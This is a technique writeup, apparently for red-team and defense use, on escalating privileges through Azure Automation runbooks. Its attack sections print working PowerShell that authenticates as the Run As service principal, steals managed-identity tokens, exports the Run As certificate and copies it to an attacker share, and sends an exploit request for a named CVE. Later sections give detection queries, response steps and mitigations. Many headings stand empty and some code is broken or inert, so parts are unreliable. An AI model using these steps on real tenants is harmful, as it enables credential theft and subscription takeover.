| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-008 |
| MITRE ATT&CK v18.1 | Account Manipulation (T1098) |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | CVE-2025-29827 |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure Automation (All Current Versions) |
| Patched In | Microsoft Recommends Immediate Remediation |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Automation Accounts are designed to automate administrative tasks across Azure subscriptions using Runbooks (PowerShell or Python scripts). When an Automation Account is created with an Azure “Run As” account, Microsoft automatically creates a service principal in Entra ID and assigns it Contributor role at the subscription level. An attacker with permissions to create, edit, or execute runbooks can leverage this service principal’s credentials to achieve full subscription-level privilege escalation. This is particularly dangerous because the “Run As” service principal is often the path of least resistance to subscription-wide compromise.
Attack Surface: Automation Accounts, Runbook execution context, “Run As” service principal, Hybrid Workers (Windows/Linux VMs with Automation Agent), and managed identities assigned to the Automation Account.
Business Impact: Catastrophic. Attackers gaining control of an Automation Account can execute code with subscription-level privileges, potentially compromising entire Azure subscriptions, deleting resources, stealing data, creating persistence mechanisms, and moving laterally to other cloud services and on-premises infrastructure via Hybrid Workers.
Technical Context: This attack requires the attacker to already have at least one of these roles in the target subscription:
Execution is rapid (<2 minutes) and generates minimal detectable events if the Automation Account is already configured with “Run As” and has sufficient permissions.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.4 | Ensure that ‘Automation Account’ has managed identity enabled |
| DISA STIG | AZ-3.2 | Azure Role-Based Access Control (RBAC) must be properly configured |
| CISA SCuBA | AC-3.1 | Enforce least privilege on service principals and managed identities |
| NIST 800-53 | AC-3 | Access Enforcement – Enforce authorization policies for resource access |
| NIST 800-53 | AC-6 | Least Privilege – Limit service principal rights to minimum necessary |
| GDPR | Art. 32 | Security of Processing – Implement access controls and encryption |
| DORA | Art. 9 | Protection and Prevention – Incident response and privilege limitation |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Policy for privileged access |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights – Control service principals |
| ISO 27005 | 8.3.2 | Risk Scenario: Compromise of Azure Automation credentials |
Required Privileges:
Required Access:
Supported Versions:
Required Tools:
Check 1: Verify Automation Account Exists in Subscription
# Connect to Azure
Connect-AzAccount
# List all Automation Accounts in the subscription
Get-AzAutomationAccount | Select-Object ResourceGroupName, AutomationAccountName, Location
What to Look For:
Check 2: Verify Current User’s Permissions on Automation Account
# Get the Automation Account
$AutomationAccount = Get-AzAutomationAccount -ResourceGroupName "YourRG" -Name "YourAutoAccount"
# Check your own role assignment
Get-AzRoleAssignment -Scope $AutomationAccount.Id | Where-Object {$_.SignInName -eq (Get-AzContext).Account.Id} | Select-Object RoleDefinitionName, Scope
What to Look For:
Check 3: Verify “Run As Account” Configuration
# Get the Run As Account (service principal) linked to the Automation Account
Get-AzAutomationAccount -ResourceGroupName "YourRG" -Name "YourAutoAccount" | Select-Object AutomationAccountName
# Check if automation account has a managed identity
$aa = Get-AzAutomationAccount -ResourceGroupName "YourRG" -Name "YourAutoAccount"
$aa | Select-Object -ExpandProperty Identity
What to Look For:
Check 4: List All Runbooks in the Account (Reconnaissance)
# List all runbooks in the Automation Account
Get-AzAutomationRunbook -ResourceGroupName "YourRG" -AutomationAccountName "YourAutoAccount" | Select-Object Name, RunbookType, CreationTime, LastModifiedTime
What to Look For:
Supported Versions: All current Azure Automation versions
Objective: Access the Automation Account where you have Automation Contributor or Contributor role.
Manual Steps:
Expected Output:
What This Means:
Objective: Create a malicious PowerShell runbook that will run with the Automation Account’s service principal context.
Manual Steps:
Expected Output:
What This Means:
Objective: Write PowerShell code that executes with the service principal’s privileges.
Malicious Runbook Code (Option A: List All Subscriptions):
# Authenticate using the Automation Account's "Run As" service principal
$connection = Get-AutomationConnection -Name AzureRunAsConnection
# Verify the connection (if Run As account is configured)
if ($connection) {
Add-AzAccount -ServicePrincipal `
-Tenant $connection.TenantID `
-ApplicationId $connection.ApplicationID `
-CertificateThumbprint $connection.CertificateThumbprint `
-ErrorAction Stop | Out-Null
Write-Output "Authenticated as: $($connection.ApplicationID)"
# Execute privileged action: List all subscriptions
Get-AzSubscription | Select-Object SubscriptionName, SubscriptionId
# Example: Get all resource groups across subscriptions
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
Set-AzContext -SubscriptionId $sub.SubscriptionId | Out-Null
Get-AzResourceGroup | Select-Object ResourceGroupName, Location, @{Name="Subscription";Expression={$sub.SubscriptionName}}
}
} else {
Write-Output "Run As Connection not found. Using managed identity fallback..."
}
Malicious Runbook Code (Option B: Escalate to Global Admin via Entra ID):
# Get Automation Connection
$connection = Get-AutomationConnection -Name AzureRunAsConnection
if ($connection) {
# Connect as service principal
Add-AzAccount -ServicePrincipal `
-Tenant $connection.TenantID `
-ApplicationId $connection.ApplicationID `
-CertificateThumbprint $connection.CertificateThumbprint `
-ErrorAction Stop | Out-Null
# Install and import Microsoft Graph module
Update-AzModule -AzureModuleClass "Az.Accounts"
# Connect to Microsoft Graph using the service principal
$graphToken = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
# Add yourself as Global Administrator (WARNING: Highly malicious)
# Example: Assign Global Admin role to attacker's user account
$targetUserId = "attacker@contoso.onmicrosoft.com"
# Note: This requires Microsoft Graph permissions to be granted to the service principal
Write-Output "Escalation payload - requires Microsoft Graph permissions"
}
Malicious Runbook Code (Option C: Extract Managed Identity Token):
# Extract the Automation Account's managed identity token
$headers = @{}
$headers.Add("Metadata", "true")
$headers.Add("X-IDENTITY-HEADER", (Get-Item -Path "Env:\IDENTITY_HEADER").Value)
# Request token for Azure Management
$uri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"
$response = Invoke-RestMethod -Uri $uri -Method GET -Headers $headers
# Extract and output the token
$token = $response.access_token
Write-Output "Managed Identity Token: $token"
# Use the token to list all resources in the subscription
$headers = @{"Authorization" = "Bearer $token"}
$resourceUri = "https://management.azure.com/subscriptions/{subscriptionId}/resources?api-version=2021-04-01"
$resources = Invoke-RestMethod -Uri $resourceUri -Method GET -Headers $headers
$resources.value | Select-Object name, type, location
Objective: Finalize the runbook so it’s ready for execution.
Manual Steps:
Expected Output:
What This Means:
Objective: Trigger runbook execution to extract credentials or perform privilege escalation.
Manual Steps:
Expected Output (Option A):
Authenticated as: 1a234b56-78cd-90ef-1234-567890abcdef
SubscriptionName SubscriptionId
------------------ ------
Production-Subscription 00000000-1111-2222-3333-444444444444
Development-Subscription 11111111-2222-3333-4444-555555555555
Expected Output (Option B):
Escalation payload - requires Microsoft Graph permissions
What This Means:
Supported Versions: All current Azure Automation versions
Precondition: You must have access to a Hybrid Worker VM (Windows or Linux with Azure Automation Hybrid Worker Extension installed).
Objective: Find VMs configured as Automation Account Hybrid Workers.
Command (PowerShell):
# Connect to Azure
Connect-AzAccount
# Get all VMs with the Hybrid Worker Extension installed
$vms = Get-AzVM | Where-Object {
$extensions = $_.Extensions
$extensions | Where-Object {$_.VirtualMachineExtensionType -like "*HybridWorker*" -or $_.Publisher -eq "Microsoft.GuestConfiguration"}
}
# List the Hybrid Worker VMs
$vms | Select-Object ResourceGroupName, Name, Location, @{Name="AutomationAccount";Expression={
# Extract the automation account name from the extension config (if visible)
($_.Extensions | Where-Object {$_.VirtualMachineExtensionType -like "*HybridWorker*"}).Settings
}}
What to Look For:
Version Note: If this command doesn’t list Hybrid Workers clearly, use the Azure Portal:
Objective: Obtain local administrator access to the Hybrid Worker VM.
Methods (in order of preference):
az vm run-command to execute code as SYSTEMCommand (Virtual Machine Contributor with Run Command):
# Run a command on the Hybrid Worker VM as SYSTEM (Windows)
Invoke-AzVMRunCommand -ResourceGroupName "YourRG" -VMName "HybridWorkerVM" `
-CommandId "RunPowerShellScript" `
-ScriptPath "C:\temp\extract_cert.ps1"
What This Means:
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\Objective: Locate and export the “Run As” service principal certificate installed on the Hybrid Worker.
Command (PowerShell on Hybrid Worker):
# Find the Automation Account "Run As" certificate
# Typical installation path:
$certPath = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\"
# List certificates in the store
Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object {$_.Subject -like "*Automation*"} | Select-Object Thumbprint, Subject, NotAfter
# Export the certificate (private key) to a PFX file
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object {$_.Subject -like "*Automation*"} | Select-Object -First 1
Export-PfxCertificate -Cert $cert -FilePath "C:\temp\automation_cert.pfx" -Password (ConvertTo-SecureString -String "password123" -AsPlainText -Force)
# Copy the PFX file to your attacker machine
Copy-Item -Path "C:\temp\automation_cert.pfx" -Destination "\\AttackerIP\Share\automation_cert.pfx"
Expected Output:
Thumbprint Subject NotAfter
---------- ------- --------
1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D CN=MyAutomationAccount 12/31/2025
What This Means:
Objective: Use the extracted certificate to gain full subscription access.
Command (PowerShell from Attacker Machine):
# Import the extracted PFX certificate
$cert = Import-PfxCertificate -FilePath "C:\temp\automation_cert.pfx" -CertStoreLocation "Cert:\CurrentUser\My\" -Password (ConvertTo-SecureString -String "password123" -AsPlainText -Force)
# Get the service principal details (you'll need the tenant ID and App ID)
# These can be found in the Automation Account > Run As Accounts section
$tenantId = "12345678-1234-1234-1234-123456789012"
$appId = "87654321-4321-4321-4321-210987654321"
$certThumbprint = $cert.Thumbprint
# Authenticate as the service principal
Connect-AzAccount -ServicePrincipal `
-Tenant $tenantId `
-ApplicationId $appId `
-CertificateThumbprint $certThumbprint
# Verify authentication success
Get-AzContext | Select-Object Account, Subscription, Tenant
# Now execute any subscription-level command
Get-AzSubscription | Select-Object SubscriptionName, SubscriptionId
Get-AzResourceGroup | Select-Object ResourceGroupName, Location
Expected Output:
Account Subscription Tenant
------- ---- ------
87654321-4321-4321-4321-210987654321 Production-Sub (00000000-...) 12345678-1234-1234-1234-123456789012
What This Means:
Supported Versions: All Azure Automation versions prior to Microsoft’s patch (verify via MSRC)
Precondition: CVE-2025-29827 must not be patched. Check the Azure Security Update Guide for patched versions.
Objective: Confirm that the Automation Account is vulnerable to CVE-2025-29827.
Manual Steps:
Write-Output "Test payload executed"
What This Means:
Objective: Use the CVE-2025-29827 authorization bypass to escalate from limited role to full Automation Account control.
Attack Vector:
Exploitation Steps:
$token = (Get-AzAccessToken).Token
$headers = @{"Authorization" = "Bearer $token"}
# Attempt to create a runbook with Reader-level permissions
$uri = "https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Automation/automationAccounts/{accountName}/runbooks/{runbookName}?api-version=2023-11-01"
$payload = @{
properties = @{
description = "Malicious runbook"
type = "PowerShell"
runbookType = "PowerShell"
}
location = "eastus"
} | ConvertTo-Json
Invoke-RestMethod -Uri $uri -Method PUT -Headers $headers -ContentType "application/json" -Body $payload
Expected Output (If Vulnerable):
HTTP 201 Created – Runbook created despite insufficient permissions
Expected Output (If Patched):
HTTP 403 Forbidden – User does not have 'Microsoft.Automation/automationAccounts/runbooks/write' permission
What This Means:
This section has been removed for this technique as no Atomic Red Team test currently exists specifically for Azure Automation Runbook Escalation in the published Atomic Red Team repository (as of 2025-01-09).
Note: The attack vector described above in Methods 1-3 can be replicated in a controlled red team environment with proper authorization and rule of engagement (RoE).
Version: 11.0.0+ (Released December 2024) Minimum Version: 10.0.0 Supported Platforms: Windows, macOS, Linux
Installation:
# Install from PowerShell Gallery
Install-Module -Name Az -Repository PSGallery -AllowClobber -Force
# Update existing installation
Update-Module -Name Az
Key Commands for This Attack:
| Command | Purpose |
|---|---|
Get-AzAutomationAccount |
List all Automation Accounts in subscription |
New-AzAutomationRunbook |
Create a new runbook |
Publish-AzAutomationRunbook |
Publish runbook for execution |
Start-AzAutomationRunbook |
Execute a runbook |
Get-AzAutomationJob |
Retrieve runbook execution results |
Get-AzAutomationConnection |
List credentials/connections in Automation Account |
Get-AzAccessToken |
Extract OAuth token for API calls |
One-Liner Attack (Option A: List All Subscriptions):
Connect-AzAccount; Get-AzSubscription | Select-Object SubscriptionName, SubscriptionId
One-Liner Attack (Option B: Extract Managed Identity Token via Runbook):
# Create and execute a runbook that extracts tokens
$aa = Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA"; New-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name "ExtractToken" -Type PowerShell -Description "Token Extraction"; Publish-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name "ExtractToken"; Start-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name "ExtractToken"
Version: 2.55.0+ Installation:
# macOS (Homebrew)
brew install azure-cli
# Linux (apt)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Windows (MSI)
# Download from https://aka.ms/installazurecliwindows
Key Commands:
# List Automation Accounts
az automation account list --query "[].{Name:name, ResourceGroup:resourceGroup}"
# Create a runbook
az automation runbook create --resource-group "RG" --automation-account-name "AA" \
--name "MaliciousRunbook" --type "PowerShell"
# Publish and run
az automation runbook publish --resource-group "RG" --automation-account-name "AA" \
--name "MaliciousRunbook"
az automation runbook start --resource-group "RG" --automation-account-name "AA" \
--name "MaliciousRunbook"
Endpoint: https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Automation/automationAccounts/{automationAccountName}
Authentication: Bearer token (OAuth 2.0)
Create Runbook via REST API:
curl -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @runbook.json \
"https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Automation/automationAccounts/{aa}/runbooks/MaliciousRunbook?api-version=2023-11-01"
runbook.json:
{
"properties": {
"runbookType": "PowerShell",
"description": "Malicious runbook"
},
"location": "eastus"
}
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in (
"Create runbook",
"Update runbook",
"Publish runbook",
"Create automation account",
"Create or update run as account"
)
| where Result == "Success"
| extend ResourceId = tostring(InitiatedBy.user.id)
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result, ResourceId
| summarize
CreationCount = count(),
FirstEvent = min(TimeGenerated),
LastEvent = max(TimeGenerated),
Accounts = make_set(InitiatedBy.user.userPrincipalName, 10)
by OperationName, ResourceId
| where CreationCount > 3 or (LastEvent - FirstEvent) < 1h
| sort by FirstEvent desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure Automation - Suspicious Runbook ActivityHighPersistence, Privilege Escalation5 minutes1 hourResourceId, OperationNameKQL Query:
AuditLogs
| where OperationName in (
"Start runbook",
"Run runbook on hybrid worker"
)
| where Result == "Success"
| extend
CallerPrincipal = tostring(InitiatedBy.user.userPrincipalName),
RunbookName = tostring(TargetResources[0].displayName),
SubscriptionId = tostring(split(TargetResources[0].id, "/")[2])
| where RunbookName has_any ("extract", "credential", "token", "export", "admin", "escalat")
| project TimeGenerated, CallerPrincipal, RunbookName, SubscriptionId, TargetResources, Result
| sort by TimeGenerated desc
What This Detects:
KQL Query:
AuditLogs
| where OperationName in (
"Get automation account",
"List automation account connections",
"Get credentials from automation account"
)
| where Result == "Success"
| extend
CallerIpAddress = tostring(InitiatedBy.user.ipAddress),
CallerPrincipal = tostring(InitiatedBy.user.userPrincipalName),
AutomationAccountName = tostring(TargetResources[0].displayName)
| where CallerIpAddress !in (
"127.0.0.1", -- Whitelist trusted IPs
"10.0.0.0/8" -- Internal network ranges
)
| summarize
AccessCount = count(),
FirstAccess = min(TimeGenerated),
LastAccess = max(TimeGenerated),
Resources = make_set(AutomationAccountName, 10)
by CallerPrincipal, CallerIpAddress
| where AccessCount > 5
| sort by AccessCount desc
What This Detects:
This section has been removed as Azure Automation is a cloud-native service with no on-premises Windows Event Log footprint.
Note: All activity is logged in Azure AuditLogs and Activity Log within the Azure Portal and Microsoft Sentinel, as covered in Section 8.
Alert Name: “Suspicious Automation Account Runbook Execution Detected”
Manual Configuration Steps (Enable Defender for Cloud):
Alert Rule:
Cloud Logs:
Create runbook, Update runbook, Publish runbook, Start runbookManaged Identity Token Exposure:
http://169.254.169.254/metadata/identity/oauth2/token (metadata endpoint)/metadata endpoint from runbook context“Run As” Certificate Extraction:
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\ on Hybrid WorkersCloud Storage:
Runbook Source Code:
https://{storageAccount}.blob.core.windows.net/automation-runbooks/Hybrid Worker Artifacts (Windows):
Cert:\LocalMachine\My\ (Automation “Run As” certificate)C:\Temp\, C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\Disable Runbook Execution:
# Disconnect runbooks from "Run As" account
$aa = Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA"
# Disable all runbooks
Get-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" | ForEach-Object {
Disable-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name $_.Name -Force
}
# Remove "Run As" account
# Manual: Azure Portal → Automation Accounts → [Account] → Run As Accounts → Delete
Revoke “Run As” Service Principal:
# Find and disable the service principal
$spId = (Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA").Identity.PrincipalId
Disable-AzADServicePrincipal -ObjectId $spId
# Or delete it permanently (WARNING: impacts legitimate automation)
Remove-AzADServicePrincipal -ObjectId $spId -Force
Manual (Azure Portal):
Export Audit Logs:
# Export AuditLogs for the past 24 hours
$startDate = (Get-Date).AddDays(-1)
$endDate = Get-Date
$logs = Get-AzLog -StartTime $startDate -EndTime $endDate | Where-Object {
$_.ResourceId -like "*Microsoft.Automation*"
}
$logs | Export-Csv -Path "C:\Evidence\AuditLogs.csv" -NoTypeInformation
Export Runbook Source Code:
# Get all runbooks and their content
$runbooks = Get-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA"
foreach ($rb in $runbooks) {
$content = Export-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name $rb.Name
$content | Out-File -FilePath "C:\Evidence\Runbook_$($rb.Name).ps1"
}
Capture Hybrid Worker Certificates (if applicable):
# On Hybrid Worker VM, export certificates for forensic analysis
Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object {$_.Subject -like "*Automation*"} | Export-PfxCertificate `
-FilePath "C:\Evidence\Automation_Certs_$(Get-Date -Format 'yyyyMMdd_HHmmss').pfx" `
-Password (ConvertTo-SecureString -String "ForensicOnly" -AsPlainText -Force)
Delete Malicious Runbooks:
# Remove the malicious runbook created by attacker
Remove-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Name "MaliciousRunbook" -Force
# Remove all suspicious runbooks (manually review first)
Get-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" | Where-Object {
$_.Name -in @("ExtractToken", "PrivilegeEscalation", "AdminTask_Sync", "DataExfiltration")
} | Remove-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" -Force
Reset Automation Account Permissions:
# Get the Automation Account's original "Run As" service principal
$aa = Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA"
$spId = $aa.Identity.PrincipalId
# Remove the compromised service principal and create a new one
Remove-AzRoleAssignment -ObjectId $spId -RoleDefinitionName "Contributor" -Scope "/subscriptions/{subscriptionId}"
# (Recommended) Use managed identity instead of "Run As" account
# Manual: Automation Accounts → [Account] → Identity → System assigned → ON
Revoke Stolen Credentials:
# If "Run As" certificate was exported, rotate it
# Manual: Automation Accounts → [Account] → Run As Accounts → Select account → Update → Create new certificate
Verify Runbook Cleanup:
# Confirm all malicious runbooks are deleted
Get-AzAutomationRunbook -ResourceGroupName "RG" -AutomationAccountName "AA" | Select-Object Name, CreationTime | Sort-Object CreationTime -Descending
# Expected: Only legitimate, pre-compromise runbooks should remain
Validate Access Controls:
# Verify no unauthorized users have Automation Contributor role
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}" | Where-Object {
$_.RoleDefinitionName -eq "Automation Contributor"
}
# Remove suspicious role assignments
# Remove-AzRoleAssignment -ObjectId [UserId] -RoleDefinitionName "Automation Contributor"
Mitigation 1.1: Replace “Run As” Accounts with Managed Identities
“Run As” accounts (service principals with static certificates) are deprecated and vulnerable. Managed identities eliminate the need to manage credentials.
Manual Steps (Azure Portal):
Runbook Code Update (Old - Run As):
$connection = Get-AutomationConnection -Name AzureRunAsConnection
Add-AzAccount -ServicePrincipal -Tenant $connection.TenantID -ApplicationId $connection.ApplicationID -CertificateThumbprint $connection.CertificateThumbprint
Runbook Code Update (New - Managed Identity):
Connect-AzAccount -Identity
Applies To Versions: All Azure Automation versions
Effectiveness: Eliminates certificate-based authentication, reduces key exposure surface
Mitigation 1.2: Disable “Run As” Account Creation
Prevent new Automation Accounts from automatically creating “Run As” accounts.
Manual Steps (Azure Portal):
Applies To Versions: All Azure Automation versions
Effectiveness: Prevents future creation of service principals with Contributor role
Mitigation 1.3: Implement Strict RBAC on Automation Accounts
Limit who can create, edit, and execute runbooks to only authorized personnel.
Manual Steps (Azure Portal):
RBAC Role Recommendations:
| Role | Permissions | Use Case |
|---|---|---|
| Owner | Full control, including role assignment | Automation Account admins only |
| Contributor | Create, edit, delete runbooks | Automation engineers |
| Automation Contributor | Same as Contributor | Automation team leads |
| Automation Operator | Execute runbooks only (read-only) | Service accounts, developers |
| Reader | View only, no execution | Auditors |
Applies To Versions: All Azure Automation versions
Effectiveness: Reduces the number of users who can escalate privileges
Mitigation 2.1: Restrict Hybrid Worker Access
Hybrid Workers are a direct attack vector for “Run As” certificate extraction.
Manual Steps (Azure Portal):
Disable “Run As” Certificates on Hybrid Workers:
# On Hybrid Worker, delete the "Run As" certificate
Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object {$_.Subject -like "*Automation*"} | Remove-Item
Applies To Versions: All Azure Automation versions with Hybrid Workers
Mitigation 2.2: Enable Azure Policy Enforcement
Enforce security policies to prevent creation of overprivileged Automation Accounts.
Manual Steps (Azure Portal):
type == Microsoft.Automation/automationAccounts AND properties.runAsAccount != null THEN DENYApplies To Versions: All Azure Automation versions
Mitigation 2.3: Enforce Multi-Factor Authentication (MFA)
Require MFA for all users accessing Automation Accounts, especially those with Automation Contributor role.
Manual Steps (Azure Portal):
Enforce MFA for Automation AccessEffectiveness: Prevents credential-based attacks even if password is compromised
Mitigation 2.4: Monitor Automation Account with Microsoft Sentinel
Deploy the detection rules from Section 8 (Microsoft Sentinel Detection) to catch malicious activity in real-time.
Manual Steps:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker obtains initial Azure credentials via phishing or default secrets |
| 2 | Credential Access | [CA-TOKEN-013] AKS Service Account Token Theft | Attacker extracts managed identity token from container or VM |
| 3 | Privilege Escalation | [PE-ACCTMGMT-008] | Attacker creates malicious runbook and escalates to subscription Contributor |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker uses elevated access to create Entra ID backdoor account |
| 5 | Impact | [EX-EXFIL-001] Data Exfiltration via Azure Storage | Attacker exfiltrates sensitive data using subscription access |
Target: Uber Timeline: September 2022 Attack Flow:
How PE-ACCTMGMT-008 Applied:
Reference: GitHub Security Blog - Uber Security Incident
Target: Multiple US government agencies and Fortune 500 companies Timeline: May-June 2023 Attack Flow:
Automation Escalation Path:
Reference: CISA Alert AA23-145A
Target: Mid-sized financial services company Timeline: Q2 2024 Attack Vector: Insider threat or compromised contractor with Automation Contributor role
Steps:
Technique Applied:
Detection Gap: Organization had Sentinel but failed to alert on:
Reference: Private incident response case study (SERVTEP Security Audit, 2024)
After implementing mitigations, use this checklist to confirm the environment is secured:
Checkbox 1: Managed Identity Enabled
# Verify Automation Account has managed identity
Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA" | Select-Object Identity
# Expected Output: Identity.Type = "SystemAssigned"
☐ PASS (SystemAssigned identity visible) ☐ FAIL (Identity is null or UserAssigned only)
Checkbox 2: Run As Account Deleted
# Verify no "Run As" accounts exist
Get-AzAutomationAccount -ResourceGroupName "RG" -Name "AA" |
Select-Object AutomationAccountName, @{Name="RunAsAccountExists";Expression={$null -ne $_.RunAsConnection}}
# Expected Output: RunAsAccountExists = False
☐ PASS (No Run As account) ☐ FAIL (Run As account still present)
Checkbox 3: Automation Contributor Role Limited
# List all users with Automation Contributor role
Get-AzRoleAssignment -Scope "/subscriptions/{subId}" | Where-Object {
$_.RoleDefinitionName -eq "Automation Contributor"
}
# Expected: Only 1-2 authorized users/groups
☐ PASS (≤2 users with this role) ☐ FAIL (>2 users with elevated Automation permissions)
Checkbox 4: Microsoft Sentinel Detection Rules Active
# Verify Sentinel rules are deployed and running
Get-AzSentinelAlertRule -ResourceGroupName "RG" -WorkspaceName "Sentinel" | Where-Object {
$_.DisplayName -like "*Automation*"
}
# Expected: ≥3 Automation-related detection rules
☐ PASS (Detection rules active) ☐ FAIL (No Automation detection rules)
Checkbox 5: Conditional Access MFA Policy Active
# Verify Conditional Access policy exists
# Manual verification via Azure Portal:
# Entra ID → Conditional Access → [Check for MFA policy for Automation users]
☐ PASS (MFA policy enforced for Automation) ☐ FAIL (No MFA policy)
Azure Automation Runbook Escalation (PE-ACCTMGMT-008) represents a critical privilege escalation vector in Azure environments. The combination of:
…creates a perfect storm for privilege escalation attacks.
Immediate Actions:
Defense in Depth:
Verification: Use the checklist above to confirm all mitigations are in place.